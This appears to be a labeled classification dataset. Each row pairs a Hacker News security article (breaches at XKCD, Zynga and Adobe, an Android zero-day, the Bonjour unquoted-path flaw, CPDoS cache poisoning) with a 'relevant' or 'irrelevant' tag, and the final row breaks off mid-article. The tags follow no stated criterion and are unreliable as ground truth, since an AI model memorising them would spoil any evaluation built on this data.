"XKCD Forum Hacked – Over 562,000 Users' Account Details Leaked XKCD—one of the most popular webcomic platforms known for its geeky tech humor and other science-laden comic strips on romance, sarcasm, math, and language—has suffered a data breach exposing data of its forum users. The security breach occurred two months ago, according to security researcher Troy Hunt who alerted the company of the incident, with unknown hackers stealing around 562,000 usernames, email and IP addresses, as well as hashed passwords. However, the leaked data was actually discovered by security researcher and data analyst Adam Davies, who shared a copy of it with Hunt. At the time of writing, XKCD has taken down its forum and posted a short notice on its homepage, as shared below, urging its users to change their passwords immediately. ""The xkcd forums are currently offline. We've been alerted that portions of the PHPBB user table from our forums showed up in a leaked data collection. The data includes usernames, email addresses, salted, hashed passwords, and in some cases, an IP address from the time of registration."" ""We've taken the forums offline until we can go over them and make sure they're secure. If you're an echochamber.me/xkcd forums user, you should immediately change your password for any other accounts on which you used the same or a similar password."" The forum administrators are also notifying affected users via email. As mentioned, XKCD uses phpBB, a free and open-source forum and bulletin board software built in the PHP programming software. However, at this moment it's unclear if XKCD was using an older version of the forum software vulnerable to a security flaw or the attackers exploited any previously undiscovered flaw in phpBB to extract the data unauthorisedly. Besides this, even if XKCD was running over phpBB version 3.1 and later, which uses more secure BCRYPT hashing algorithm, it's possible that the passwords for early users of the XKCD forum were encrypted via the older, less secure MD5 hashing method. What you can do now: affected users are strongly advised to immediately change their XKCD password, as well as passwords for any other online accounts which re-use the same password. Created in 2005 by American author Randall Munroe, XKCD is a popular webcomic that focuses on tech, science, and internet culture, with its subject matter varies from statements on life and love to mathematical, programming, and scientific in-jokes.",relevant
"Google Fined $170 Million For Violating Kids' Privacy On YouTube Google has finally agreed to pay $170 million fine to settle allegations by the Federal Trade Commission and the New York attorney general that its YouTube service earned millions by illegally harvesting personal information from children without their parents' consent. The settlement requires Google to pay $136 million to the FTC and an additional $34 million fine to New York state for allegedly violating the Children's Online Privacy Protection Act (COPPA) Rule. The COPPA rule requires child-directed websites and online services to explicitly obtain parental consent before collecting personal information from children under the age of 13 and then using it for targeted advertising. However, an FTC investigation [PDF] against Google's video service for children, called YouTube Kids, revealed that it had illegally gathered kids' data under 13. The data also includes children' persistent identification codes used to track a user's Internet browsing habits over time without notifying their parents and getting their consent. According to the regulators, YouTube earned millions of dollars by using that collected information to deliver targeted advertisements to viewers of these channels. ""YouTube touted its popularity with children to prospective corporate clients,"" FTC Chairman Joe Simons said. ""Yet when it came to complying with COPPA, the company refused to acknowledge that portions of its platform were directed to kids. There's no excuse for YouTube's violations of the law."" To settle the charges, YouTube agreed to pay a penalty of $170 million, with $136 million going to the FTC and $34 million to New York State. The penalty is by far the most significant amount the FTC has ever obtained in a case involving the COPPA rule since Congress enacted this law in 1998. However, it is just a fraction of the $5 billion fine the FTC imposed on Facebook this year for privacy violations. Besides the monetary fine, the proposed settlement also requires Google and YouTube to make changes to protect children's privacy on YouTube by: Developing and maintaining a system that lets channel owners identify 'child-directed content' on the video-sharing platform so that YouTube can ensure it is complying with COPPA. Notifying channel owners that their child-directed content may be subject to the COPPA Rule's obligations and provide annual training about complying with the law for employees who deal with YouTube channel owners. In response to the fine, YouTube CEO Susan Wojcicki said that ""nothing is more important than protecting kids and their privacy,"" adding that ""we will limit data collection and use on videos made for kids only to what is needed to support the operation of the service."" Additionally, Wojcicki said YouTube would also ""stop serving personalized ads on this content entirely, and some features will no longer be available on this type of content, like comments and notifications.",irrelevant
"Exclusive — Hacker Steals Over 218 Million Zynga 'Words with Friends' Gamers Data A Pakistani hacker who previously made headlines earlier this year for selling almost a billion user records stolen from nearly 45 popular online services has now claimed to have hacked the popular mobile social game company Zynga Inc. With a current market capitalization of over $5 billion, Zynga is one of the world's most successful social game developers with a collection of hit online games—including FarmVille, Words With Friends, Zynga Poker, Mafia Wars, and Café World—with over a billion players worldwide. Going by the online alias Gnosticplayers, the serial hacker told The Hacker News that this time, he managed to breach ""Words With Friends,"" a popular Zynga-developed word puzzle game, and unauthorisedly access a massive database of more than 218 million users. According to the hacker, the data breach affected all Android and iOS game players who installed and signed up for the 'Words With Friends' game on and before 2nd September this year. In a statement published over a week ago, Zynga admitted the data breach, revealing that the ""account login information for certain players of Draw Something and Words With Friends that may have been accessed,"" though the company did not reveal the number of affected users. ""We recently discovered that certain player account information may have been illegally accessed by outside hackers."" reads the statement. Based on a sample data Gnosticplayers shared with The Hacker News, the stolen users' information includes their: Names Email addresses Login IDs Hashed passwords, SHA1 with salt Password reset token (if ever requested) Phone numbers (if provided) Facebook ID (if connected) Zynga account ID Besides this, the hacker also claims to have hacked data belonging to some other Zynga-developed games, including Draw Something and the discontinued OMGPOP game, which allegedly exposed clear text passwords for more than 7 million users. zynga draw something ""An investigation was immediately commenced, leading third-party forensics firms were retained to assist, and we have contacted law enforcement,"" the company said. ""As a precaution, we have taken steps to protect these users' accounts from invalid logins. We plan to notify players as the investigation proceeds further."" What's your take? If you are a user of the Words With Friends game, you should immediately change the password for your account and also on other services in the event you re-used the same password. The Hacker News has already reached out to Zynga for a comment and will update this story if we hear back. In March 2019, the same hacker compromised over 26 million online accounts originating from 6 websites and put the stolen records for sale on the popular dark-web market called Dream Market. In February, the hacker made three rounds of stolen accounts up for sale on Dream Market, posting details of 620 million online accounts stolen from 16 websites in the first round, 127 million from 8 sites in the second, and 92 million from 8 websites in the third.",relevant
"42 Adware Apps with 8 Million Downloads Traced Back to Vietnamese Student First of all, if you have any of the below-listed apps installed on your Android device, you are advised to uninstall it immediately. Cybersecurity researchers have identified 42 apps on the Google Play Store with a total of more than 8 million downloads, which were initially distributed as legitimate applications but later updated to maliciously display full-screen advertisements to their users. Discovered by ESET security researcher Lukas Stefanko, these adware Android applications were developed by a Vietnamese university student, who easily got tracked likely because he never bothered to hide his identity. The publicly available registration details of a domain associated with the adware apps helped find the identity of the rogue developer, including his real name, address, and phone number, which eventually led the researcher to his personal accounts on Facebook, GitHub, and YouTube. ""Seeing that the developer did not take any measures to protect his identity, it seems likely that his intentions weren't dishonest at first,"" Stefanko said in a blog post published today. ""At some point in his Google Play career, he apparently decided to increase his ad revenue by implementing adware functionality in his apps' code."" Since all 42 adware apps provide original functionalities they promised, like Radio FM, video downloader, or games, it is quite difficult for most users to spot rogue apps or find anything suspicious. Adware Tricks for Stealth and Resilience Dubbed ""Ashas"" adware family, the malicious component connects to a remote command-and-control server operated by the developer and automatically sends basic information about the Android device with one of the adware apps installed. google android app adware malware The app then receives configuration data from the C&C server responsible for displaying ads as per the attacker's choice and applying a number of tricks for stealth and resilience, some of which are mentioned below. In order to hide its malicious functionality from the Google Play security mechanism, the apps first check for the IP address of the infected device, and if it falls within the range of known IP addresses for Google servers, the app will not trigger the adware payload. To prevent users from immediately associating the unwanted ads with his app, the developer also added functionality to set a custom delay between displaying ads and the installation of the app. In addition, the apps also hide their icons on the Android phone's menu and create a shortcut in an attempt to prevent uninstallation. ""If a typical user tries to get rid of the malicious app, chances are that only the shortcut ends up getting removed. The app then continues to run in the background without the user's knowledge,"" Stefanko said. What's interesting? If the affected user heads on the ""Recent apps"" button to check which app is serving ads, the adware displays Facebook or Google icon to look legitimate and avoid suspicion, tricking users into believing the ads are being displayed by a legitimate service. Though Stefanko did not talk much about the kind of advertisements this adware serves to the infected users, adware typically bombards infected devices with advertisements, mostly leading to scam, malicious, and phishing websites. Stefanko reported the Google security team of his findings, and the company removed the apps in question from its Play Store platform. However, if you have downloaded any of the above-listed rogue apps on your Android device, immediately remove it by going into your device settings. Apple iOS users are also advised to check their iPhones for these apps, as the malicious developer also has apps on Apple's App Store. However, as for now, none of them contain any adware functionality.",irrelevant
"Unsecured Adobe Server Exposes Data for 7.5 Million Creative Cloud Users The U.S. multinational computer software company Adobe has suffered a serious security breach earlier this month that exposed user records' database belonging to the company's popular Creative Cloud service. With an estimated 15 million subscribers, Adobe Creative Cloud or Adobe CC is a subscription service that gives users access to the company's full suite of popular creative software for desktop and mobile, including Photoshop, Illustrator, Premiere Pro, InDesign, Lightroom, and many more. What happened? — Earlier this month, security researcher Bob Diachenko collaborated with the cybersecurity firm Comparitech to uncover an unsecured Elasticsearch database belonging to Adobe Creative Cloud subscription service that was accessible to anyone without any password or authentication. How many victims? — The inadvertently exposed database, which has now been secured, contained personal information of nearly 7.5 million Adobe Creative Cloud user accounts. What type of information was exposed? — The exposed information included Creative Cloud users': Email addresses Account creation date The Adobe products they subscribed to Subscription status Payment status Member IDs Country Time since the last login Is the user an Adobe employee adobe data breach What might attackers have achieved? — Since the misconfigured cloud database did not include any password or financial information such as credit card numbers, the exposed data is severe enough to expose Adobe CC users to highly targeted and convincing phishing attacks. ""The information exposed in this leak could be used against Adobe Creative Cloud users in targeted phishing emails and scams,"" Comparitech said in a blog post. ""Fraudsters could pose as Adobe or a related company and trick users into giving up further info, such as passwords, for example."" How Adobe addressed the security breach? — Diachenko discovered the exposed database and immediately notified Adobe on October 19. The company responded to the security incident swiftly and shut off public access to the database on the same day, according to a blog post published by Adobe on Friday. ""Late last week, Adobe became aware of a vulnerability related to work on one of our prototype environments. We promptly shut down the misconfigured environment, addressing the vulnerability,"" Adobe said. ""This issue was not connected to, nor did it affect, the operation of any Adobe core products or services. We are reviewing our development processes to help prevent a similar issue occurring in the future."" However, it's still unclear how long the database containing records of 7.5 million Adobe Creative Cloud users was exposed before the researcher discovered it. What users should do? — It's unknown if the database had been unauthorizedly accessed by anyone else before the researcher discovered it, but in case they discovered it, users should mainly be suspicious of phishing emails, which are usually the next step of cyber criminals in an attempt to trick users into giving up further details like passwords and financial information. Though the database did not expose any financial information, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank, if find any. Adobe also offers two-factor authentication that users should enable to help them secure their accounts with an additional layer of security.",relevant
"Adobe Releases Out-of-Band Security Patches for 82 Flaws in Various Products No, it's not a patch Tuesday. It's the third Tuesday of the month, and as The Hacker News shared an early heads-up late last week on Twitter, Adobe today finally released pre-announced out-of-band security updates to patch a total of 82 security vulnerabilities across its various products. The affected products that received security patches today include: Adobe Acrobat and Reader Adobe Experience Manager Adobe Experience Manager Forms Adobe Download Manager Out of 82 security vulnerabilities, 45 are rated critical, and all of them affect Adobe Acrobat and Reader and which, if exploited successfully, could lead to arbitrary code execution in the context of the current user. A majority of critical-rated vulnerabilities (i.e., 26) in Adobe Acrobat and Reader reside due to use-after-free, 6 due to out-of-bounds write, 4 are type confusion bugs, 4 due to untrusted pointer dereference, 3 are heap overflow bugs, one buffer overrun and one race condition issue. Adobe Acrobat and Reader for Microsoft Windows and Apple macOS operating systems has also received patches for 23 important-rated vulnerabilities that could lead to information disclosure attacks due to out-of-bounds read and cross-site scripting issues. Adobe Experience Manager, a comprehensive content management solution for building websites, mobile apps, and forms, has been patched to address a total of 12 vulnerabilities, 8 are rated as important, and rests are moderate in severity. The remaining two vulnerabilities patched today include: one moderate information disclosure issue resides in Adobe Experience Manager Forms for all platforms, and one important privilege escalation flaw affects Adobe Download Manager for Microsoft Windows. Speaking of out-of-band security updates, surprisingly Adobe Flash Player received no security patch this time. It should be noted that Adobe would stop providing updates for Flash Player at the end of 2020. Both Acrobat and Reader and Experience Manager updates received a priority rating of 2, which means similar flaws have previously been seen exploited in the wild, but for now, the company has found no evidence of any exploitation of these vulnerabilities in the wild. On the other hand, Adobe Experience Manager Forms and Adobe Download Manager updates received a priority rating of 3, which means the vulnerabilities addressed in the updates are unlikely to be exploited in attacks, according to Adobe's update notes. Though none of the security vulnerabilities fixed in this batch of Adobe updates were publicly disclosed or found being exploited in the wild, we highly recommend you to download the latest versions of the affected software and apply patches at your earliest convenience. If your system has not yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe software for Windows, macOS, Linux, and Chrome OS.",relevant
"Adobe Suspends Accounts for All Venezuela Users Citing U.S. Sanctions I have really bad news for Adobe customers in Venezuela… California-based software company Adobe on Monday announced to soon ban accounts and cancel the subscriptions for all of its customers in Venezuela in order to comply with economic sanctions that the United States imposed on the Latin American country. The Trump administration issued an executive order on 5th August 2019, targeting the President of Venezuela Nicolas Maduro for allegedly usurping the presidency and violating the human rights of the country's citizens. The Presidential Executive Order 13884 has been designed to block American companies and individuals from conducting virtually all trade with Venezuela. As a result, Adobe has now decided to deactivate all accounts in the country, leaving thousands of users and companies without access to the company's graphics and multimedia software, including Photoshop, Illustrator, Acrobat Reader, Adobe After Effects, Lightroom, and Flash Player. ""The U.S. Government issued Executive Order 13884, the practical effect of which is to prohibit almost all transactions and services between U.S. companies, entities, and individuals in Venezuela. To remain compliant with this order, Adobe is deactivating all accounts in Venezuela,"" Adobe explains. The sanctions order seems to hit ordinary people rather than the government of Nicolás Maduro. As described by Michelle Bachelet, United Nations' high commissioner for human rights, ""the sanctions are extremely broad and fail to contain sufficient measures to mitigate their impact on the most vulnerable sectors of the population."" Adobe Can't Refund Subscription Money to Venezuela Users The bad news doesn't end here. adobe venezuela sanctions A copy of an email Adobe sent to its Venezuela users | Shared on Twitter Adobe is also refusing to issue any refunds to its Venezuelan customers for any purchases or outstanding subscriptions, since the presidential order also barred any transactions with the entities, ""including no sales, service, support, refunds, credits, etc."" This also means that access to free Adobe products is also being pulled off, and no new Venezuelan user can sign up for any of the company's services. ""Adobe will no longer provide access to software and services, including free ones, or enable you to make any new purchases. We apologize for the inconvenience,"" Adobe adds. Venezuelan users will have until October 28—that's exactly 20 days from now—to download the data they saved over their Adobe accounts before the company deactivates them. Since the executive order has been issued with no expiration date, Adobe says that the ""decision to rescind it rests solely with the U.S. Government,"" and that the company will monitor any developments closely and make ""every effort to restore services to Venezuela as soon as it is legally permissible to do so."" It's currently unclear if other U.S. technology companies, like Microsoft, Google, Facebook, and Twitter, have already or are planning to impose similar bans of their services for customers in Venezuela.",irrelevant
"New 0-Day Flaw Affecting Most Android Phones Being Exploited in the Wild Another day, another revelation of a critical unpatched zero-day vulnerability, this time in the world's most widely used mobile operating system, Android. What's more? The Android zero-day vulnerability has also been found to be exploited in the wild by the Israeli surveillance vendor NSO Group—infamous for selling zero-day exploits to governments—or one of its customers, to gain control of their targets' Android devices. Discovered by Project Zero researcher Maddie Stone, the details and a proof-of-concept exploit for the high-severity security vulnerability, tracked as CVE-2019-2215, has been made public today—just seven days after reporting it to the Android security team. The zero-day is a use-after-free vulnerability in the Android kernel's binder driver that can allow a local privileged attacker or an app to escalate their privileges to gain root access to a vulnerable device and potentially take full remote control of the device. Vulnerable Android Devices The vulnerability resides in versions of Android kernel released before April last year, a patch for which was included in the 4.14 LTS Linux kernel released in December 2017 but was only incorporated in AOSP Android kernel versions 3.18, 4.4 and 4.9. Therefore, most Android devices manufactured and sold by a majority of vendors with the unpatched kernel are still vulnerable to this vulnerability even after having the latest Android updates, including below-listed popular smartphone models : Pixel 1 Pixel 1 XL Pixel 2 Pixel 2 XL Huawei P20 Xiaomi Redmi 5A Xiaomi Redmi Note 5 Xiaomi A1 Oppo A3 Moto Z3 Oreo LG phones Samsung S7 Samsung S8 Samsung S9 To be noted, Pixel 3, 3 XL, and 3a devices running the latest Android kernels are not vulnerable to the issue. Android Flaw Can Be Exploited Remotely According to the researcher, since the issue is ""accessible from inside the Chrome sandbox,"" the Android kernel zero-day vulnerability can also be exploited remotely by combining it with a separate Chrome rendering flaw. ""The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the Web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox,"" Stone says in the Chromium blog. ""I've attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when running locally. It only requires the untrusted app code execution to exploit CVE-2019-2215. I've also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019."" Patches to be Made Available Soon Though Google will release a patch for this vulnerability in its October's Android Security Bulletin in the coming days and also notified OEMs, most affected devices would not likely receive the patch immediately, unlike Google Pixel 1 and 2. ""This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit,"" the Android security team said in a statement. ""We have notified Android partners, and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update."" Google's Project Zero division usually gives software developers a 90-day deadline to fix the issue in their affected products before going public with the details and PoC exploits, but in case of active exploits, the team goes public after seven days of privately being reported. What's your take? Although this vulnerability is severe and can be used to gain root access to an Android device, users need not worry that much as the exploitation of such issues is mostly limited to targeted attack scenarios. Nevertheless, it's always a good idea to avoid downloading and installing apps from third-party app stores and any unnecessary apps, even from the Google Play Store.",relevant
"Apple iTunes and iCloud for Windows 0-Day Exploited in Ransomware Attacks Watch out Windows users! The cybercriminal group behind BitPaymer and iEncrypt ransomware attacks has been found exploiting a zero-day vulnerability affecting a little-known component that comes bundled with Apple's iTunes and iCloud software for Windows to evade antivirus detection. The vulnerable component in question is the Bonjour updater, a zero-configuration implementation of network communication protocol that works silently in the background and automates various low-level network tasks, including automatically download the future updates for Apple software. To be noted, since the Bonjour updater gets installed as a separate program on the system, uninstalling iTunes and iCloud doesn't remove Bonjour, which is why it eventually left installed on many Windows computers — un-updated and silently running in the background. Cybersecurity researchers from Morphisec Labs discovered the exploitation of the Bonjour zero-day vulnerability in August when the attackers targeted an unnamed enterprise in the automotive industry the BitPaymer ransomware. Unquoted Service Path Vulnerability in Apple's Bonjour Service The Bonjour component was found vulnerable to the unquoted service path vulnerability, a common software security flaw that occurs when the path of an executable contains spaces in the filename and is not enclosed in quote tags (""""). The unquoted service path vulnerability can be exploited by planting a malicious executable file to the parent path, tricking legitimate and trusted applications into executing malicious programs to maintain persistence and evade detection. ""In this scenario, Bonjour was trying to run from the Program Files folder, but because of the unquoted path, it instead ran the BitPaymer ransomware since it was named Program,"" the researchers said. ""As many detection solutions are based on behavior monitoring, the chain of process execution (parent-child) plays a major role in alert fidelity. If a legitimate process signed by a known vendor executes a new malicious child process, an associated alert will have a lower confidence score than it would if the parent was not signed by a known vendor."" ""Since Bonjour is signed and known, the adversary uses this to their advantage."" Besides escaping from the detection, in some cases, the unquoted service path vulnerability could also be abused to escalate privileges when the vulnerable program has the rights to run under higher privileges. However, in this particular case, the Bonjour zero-day didn't allow the BitPaymer ransomware to gain SYSTEM rights on the infected computers. But it did allow the malware to evade common detection solutions that are based on behavior monitoring because the Bonjour component appears like a legitimate process. Security Patches Released (iTunes / iCloud for Windows) Immediately after discovering the attack, researchers at Morphisec Labs responsibly shared the details of the attack with Apple, who just yesterday released iCloud for Windows 10.7, iCloud for Windows 7.14, and iTunes 12.10.1 for Windows to address the vulnerability. Windows users who have iTunes or/and iCloud installed on their system are highly recommended to update their software to the latest versions. In case you ever had installed one of these Apple software on your Windows computer and then uninstalled it, you should check the list of installed applications on your system for the Bonjour updater and uninstall it manually.",relevant
"Apple Under Fire Over Sending Some Users Browsing Data to China's Tencent Do you know Apple is sending iOS web browsing related data of some of its users to Chinese Internet company Tencent? I am sure many of you are not aware of this, neither was I, and believe me, none of us could expect this from a tech company that promotes itself as a champion of consumer privacy. Late last week, it was widely revealed that starting from at least iOS 12.2, Apple silently integrated the ""Tencent Safe Browsing"" service to power its ""Fraudulent Website Warning"" feature in the Safari web browser for both iOS and macOS. Just like the Safe Browsing feature in Chrome and Mozilla Firefox, Safari's fraudulent website warning feature has also been designed to protect users from various online threats by simply checking every website they visit against a regularly updated list of malicious websites. Until iOS 12.2, Apple primarily relied on the database of ""blacklisted websites"" provided by Google's Safe Browsing service, which obviously had a privacy drawback, i.e., Google could know what websites you visit and may also log your IP address to maintain your browsing history. ""Before visiting a website, Safari may send information calculated from the website address to Google Safe Browsing and Tencent Safe Browsing to check if the website is fraudulent. These safe browsing providers may also log your IP address,"" Apple notes. Now having Tencent on the same list, Apple is also giving the same privileges to the Chinese company as of Google. Though the latest implementation of this feature by Apple now restricts both services from directly viewing exact URLs you visit, it still allows Tencent and Google to log your IP address and learn a set of sites that mathematically resembles with your URLs. To be honest, it's not that Tencent is evil, people are actually not comfortable in sharing their data with Tencent because the company has close ties with the Beijing government with questionable history in aiding censorship in the country. Also, it's more concerning because on iOS, every third-party app and browser, even Google Chrome, are restricted by Apple to use its own WebKit rendering engine that contains the questionable feature, which indirectly makes it hard for iOS users to skip using it. Does Apple Share Non-Chinese Users Browsing Data with Tencent? Since Apple has not precisely mentioned in its privacy policy about this neither it commented on this matter until now, it's not clear at this moment if Safari is also using Tencent Safe Browsing outside of China. However, it's very much likely that Tencent's list of blacklisted websites is used only in China, where Google services are banned, as an alternative to providing fraudulent website warning feature in the country. Apple users and privacy advocates are negatively reacting about the news, and that's because people expect ""full disclosure"" of such a major change in its security feature from the company that has a long history of announcing every small detail—including the addition of a few new emojis or some changes in menu options—on the stage in front of hundreds of journalists. Anyway, if this feature worries you, you have the choice to turn the Fraudulent Website Warning feature OFF in Safari, but if want to be vigilance against sketchy and phishing pages, I would not recommend you to play with it as disabling the feature makes you lose access to Google's service as well. Since this feature comes enabled by default on all iPhones and iPads running iOS 13, users have to disable it by following these steps manually: On iPhones: Go to Settings → Safari → Turn off Fraudulent Website Warning On macOS: Head on to Safari → Preferences → Security → Uncheck Warn when visiting a fraudulent website",relevant
"How SMBs Can Mitigate the Growing Risk of File-based Attacks Cases of document-based malware are steadily rising. 59 percent of all malicious files detected in the first quarter of 2019 were contained in documents. Due to how work is done in today's offices and workplaces, companies are among those commonly affected by file-based attacks. Since small to medium businesses (SMBs) usually lack the kind of security that protects their larger counterparts, they have a greater risk of being affected. Falling victim to file-based malware can cause enormous problems for SMBs. An attack can damage critical data stored in the organization's computers. Such loss can force a company to temporarily halt operations, resulting in financial losses. If a customer's private and financial information is compromised, the company may also face compliance inquiries and lawsuits. Their reputations could also take a hit, discouraging customers from doing business with them. But despite these risks, SMBs still invest very little in cybersecurity. Fortunately, new and better solutions specifically focused on file-based attack protection like malware disarming are emerging to deal with file-based attacks. They're becoming more accessible too. Security solutions provider odix even recently received a 2 million euro grant from the European Commission recently to bolster its move to bring its technology to SMBs. In the midst of rising threats, here are some ways on how SMBs can mitigate file-based attacks. 1 – Disarming Malware File-based attacks involve malware that is kept hidden in a seemingly legitimate document. When a user opens the file, the malware is activated. Depending on the payload, the malware can destroy or steal data. Many organizations continue to rely on antiviruses to deal with these attacks. However, hackers are now using more sophisticated polymorphic malware that automatically changes to evade signature-based detection employed by antiviruses. Companies can also use air-gapped sandbox computers to scan and test documents, but this often requires dedicated hardware and personnel to manage. Malware disarming is emerging to be the preferred way to prevent file-based attacks. Unlike conventional as antiviruses and sandboxes, such solutions can perform advanced scans that can detect sophisticated malware. But aside from merely scanning the files, the documents are then sanitized, eliminating malicious codes. odix, for example, uses its TrueCDR (content disarm and reconstruction) technology to ensures that that the files are perfectly usable after cleanup. 2- Using Email with Strong Spam Filters This year, 293 billion business and consumer emails were sent and received per day on average. This number is predicted to rise to 347 billion by the end of 2023. With this, spam continues to increasingly become an effective cyberattack method. People clicked on links in 14.2 percent of spam emails in 2018. Work emails are just as exposed. Employees are likely to click on spam email links and download and run potentially dangerous attachments. Some small businesses may rely on the free email accounts that come with their website hosting packages. Unfortunately, such accounts are often poorly-secured and do not have the necessary security and filtering features that screen malicious emails. To thwart these threats, companies can integrate stricter spam filters that can safeguard all inboxes of the company by blocking spam emails. A more stringent measure is to adopt a solution like odix Mail. It acts as a mail proxy for the company's mail server. All attachments contained in incoming emails are intercepted. These are then scanned and sanitized using odix's core engine. Once these files are cleaned, they are reattached to the message and finally sent to the intended recipient's inbox. 3 - Being Wary of Removable Media Flash drives, external webcams, and other USB peripherals can be weaponized to infect a device or network. However, employees tend to plug in media and devices without much care, thinking that antiviruses can readily check for malware via real-time security. Unfortunately, hackers can cleverly disguise malware in these removable media to evade standard scans. Weaponized USBs are also used to breach even air-gapped systems. SMBs can counter USB-based threats ensuring that no unauthorized personnel can plug in USB peripherals to their computer system. Network and operating system policies can be defined to withhold privileges that allow the insertion of removable media on workstations. As an alternative, companies can use tools like odix's Kiosk product which is a dedicated file sanitation workstation where users can insert their removable media. The Kiosk acts as a gatekeeper to all files contained in USBs and disc drives. These documents are examined and cleaned of potential threats, ensuring that no malicious files from such media ever get sent over the network. The sanitized files can then be sent to the user's email. 4 - Training Users to Avoid Phishing Preventing file-based attacks also requires users to change their mindset and behavior. This includes making sure that they don't fall for social engineering attacks like phishing. Phishing is the fraudulent practice of sending deceptive emails to extract personal and financial information from an unsuspecting victim. The wide use of email has also made it one of the preferred methods of cybercriminals. Phishing emails are carefully crafted to imitate real correspondence from trustworthy sources such as government offices, HR, or financial institutions. SMBs should provide proper training to their employees to teach them to spot suspicious emails and links. Staff should also be trained to always check any file downloaded online or from emails for safety and legitimacy. Having solutions like odix in place does help minimize the potential exposure of companies since tasks such as checking attachments and work documents are automatically performed. Still, it pays to have employees with the proper knowledge on how to safely and adequately use technology resources. 5 - Improving Access Control Most SMBs use servers or cloud storage to keep and share files to clients and employees from any device at any time. These can be a cost-effective solution that also prevents sensitive data loss. However, without appropriate security measures, these online components may be exposed to attacks. Users may use weak passwords for their accounts which hackers can easily crack to gain access to these repositories. Not only can they steal data, but they can also implant malware in the stored documents to further spread malware. To make sure that all accounts are made safe, companies can use identity and access management (IAM) platforms. An IAM service can authenticate employees and give them access to different applications or files in the cloud. It also features multi-factor authentication to provide additional security to protect from unauthorized access. Taking Security Seriously Some SMBs assume that cyber criminals will only target big corporations. But there's no such thing as ""too small"" for hackers these days. Cybercriminals like to target SMBs precisely because of this mentality. With 43 percent of cyberattacks targeted at SMBs, it is only prudent for organizations to take cybersecurity seriously. Enterprise providers like odix are now also expanding their reach to SMBs, so modern solutions are already within reach. By equipping themselves with the necessary tools and training their employees on how to protect themselves from cybersecurity threats, SMBs are not only safeguarding their business but also their customers and staff as well.",irrelevant
"New Cache Poisoning Attack Lets Attackers Target CDN Protected Sites A team of German cybersecurity researchers has discovered a new cache poisoning attack against web caching systems that could be used by an attacker to force a targeted website into delivering error pages to most of its visitors instead of legitimate content or resources. The issue could affect sites running behind reverse proxy cache systems like Varnish and some widely-used Content Distribution Networks (CDNs) services, including Amazon CloudFront, Cloudflare, Fastly, Akamai, and CDN77. In brief, a Content Distribution Network (CDN) is a geographically distributed group of servers that sit between the origin server of a website and its visitors to optimize the performance of the website. A CDN service simply stores/caches static files—including HTML pages, JavaScript files, stylesheets, images, and videos—from the origin server and delivers them to visitors more quickly without going back to the originating server again and again. Each of the geographically distributed CDN server, known as edge nodes, then also shares the exact copy of the cache files and serve them to visitors based on their locations. Generally, after a defined time or when manually purged, the CDN servers refresh the cache by retrieving a new updated copy of each web page from the origin server and store them for future requests. How Does CPDoS Attack Work Against CDNs? cdn cache poisoning denial-of-service Dubbed CPDoS, short for Cache Poisoned Denial of Service, the attack resides in the way intermediate CDN servers are incorrectly configured to cache web resources or pages with error responses returned by the origin server. The CPDoS attack threatens the availability of the web resources of a website just by sending a single HTTP request containing a malformed header, according to three German academics, Hoai Viet Nguyen, Luigi Lo Iacono, and Hannes Federrath. ""The problem arises when an attacker can generate an HTTP request for a cacheable resource where the request contains inaccurate fields that are ignored by the caching system but raise an error while processed by the origin server."" Here's how the CPDoS attack works: A remote attacker requests a web page of a target website by sending an HTTP request containing a malformed header. If the intermediate CDN server doesn't have a copy of the requested resource, it will forward the request to the origin web server, which will get crash due to the malformed header. As a consequence, the origin server then returns an error page, which eventually gets stored by the caching server instead of the requested resource. Now, whenever legitimate visitors try to obtain the target resource, they will be served the cached error page instead of the original content. The CDN server will also spread the same error page to other edge nodes of the CDN's network as well, rendering targeted resources of the victim's website unavailable. ""It is worth noting that one simple request is sufficient to replace the genuine content in the cache by an error page. This means that such a request remains below the detection threshold of web application firewalls (WAFs) and DDoS protection means, in particular, as they scan for large amounts of irregular network traffic."" ""Moreover, CPDoS can be exploited to block, e.g., patches or firmware updates distributed via caches, preventing vulnerabilities in devices and software from being fixed. Attackers can also disable important security alerts or messages on mission-critical websites such as online banking or official governmental websites."" 3 Ways to Launch CPDoS Attacks To carry out this cache poisoning attacks against CDNs, the malformed HTTP request can be of three types: HTTP Header Oversize (HHO) — An HTTP request containing an oversized header that works in scenarios where a web application uses a cache that accepts a larger header size limit than the origin server. HTTP Meta Character (HMC) — Instead of sending an oversized header, this attack tries to bypass a cache with a request header containing a harmful meta character, such as line break/carriage return (\n), line feed (\r) or bell (\a). HTTP Method Override (HMO) — Using HTTP override header to bypass the security policy that prohibits DELETE requests. CDN Services Vulnerable to CPDoS Attacks Researchers carried out three attacks against different combinations of web caching systems and HTTP implementations and found that Amazon's CloudFront CDN is the most vulnerable to the CPDoS attack. ""We analyze the caching behavior of error pages of fifteen web caching solutions and contrast them to the HTTP specifications. We identify one proxy cache product and five CDN services that are vulnerable to CPDoS."" The complete results of their tests are as follows: cdn security To be noted, sites running behind some of the listed CDN services are vulnerable because of their own misconfiguration that doesn't prevent caching servers from storing error pages, and due any weakness in the respective CDN service. ""According to our experiments, CDN77 is RFC compliant and does not cache error pages that may not be cached according to the specification. We do agree that CDN77 is not causing our discovered CPDoS vulnerabilities,"" one of the researchers confirmed The Hacker News on Twitter. ""Websites using CDN77 may be vulnerable to CPDoS if the origin server is misconfigured or provides a way to provoke cacheable error pages. This is out of the control sphere of the caching service and lies in the responsibility of the service owner."" The team reported their findings to the affected HTTP implementation vendors and cache providers on February 19, 2019. Amazon Web Services (AWS) team confirmed the vulnerabilities on CloudFront and addressed the issue by prohibiting caching of error pages with the status code 400 Bad Request by default. Microsoft also acknowledged the reported issues and published an update to mitigate this vulnerability, assigned as CVE-2019-0941, in its June 2019 monthly security updates. Play Framework also confirmed the reported issues and patched their product against the CPDoS attack by limiting the impact of the X-HTTP-Method-Override header in Play Framework versions 1.5.3 and 1.4.6. Other affected vendors, including Flask, were contacted multiple times, but researchers did not 